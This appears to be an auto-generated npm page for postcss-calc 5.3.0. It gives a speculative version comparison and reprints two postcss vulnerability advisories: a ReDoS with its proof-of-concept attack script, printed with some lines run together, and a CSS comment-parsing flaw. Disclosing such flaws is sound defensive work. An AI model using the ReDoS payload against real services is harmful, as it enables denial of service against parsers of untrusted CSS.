PostCSS-calc is a valuable tool for developers using PostCSS to streamline their CSS workflows, focusing on simplifying and reducing calc() expressions. The npm package provides a plugin that intelligently evaluates and simplifies mathematical expressions within CSS, leading to cleaner and more efficient stylesheets.
Version 5.3.0, released on July 11, 2016, builds upon the foundation laid by version 5.2.1, released on April 10, 2016. Examining the metadata, the core dependencies (postcss, reduce-css-calc, and postcss-message-helpers) and devDependencies (tape, eslint, npmpub, and postcss-custom-properties) remain consistent between the two versions. This suggests that the underlying functionalities and testing/linting setup were stable.
The primary difference lies in potential internal improvements, bug fixes, or minor feature enhancements incorporated in version 5.3.0. While the specific changelog details are not available in the provided data, developers can anticipate that the newer version addresses issues discovered in 5.2.1, improving overall robustness and reliability. Upgrading to 5.3.0 is recommended for projects already using postcss-calc to leverage any performance improvements or bug fixes. Developers initiating new projects with PostCSS-calc also benefit from starting with the latest stable version for the best experience and compatibility, assuming no breaking changes were introduced but due to the lack of data is not possible to assure that.
All the vulnerabilities related to the version 5.3.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.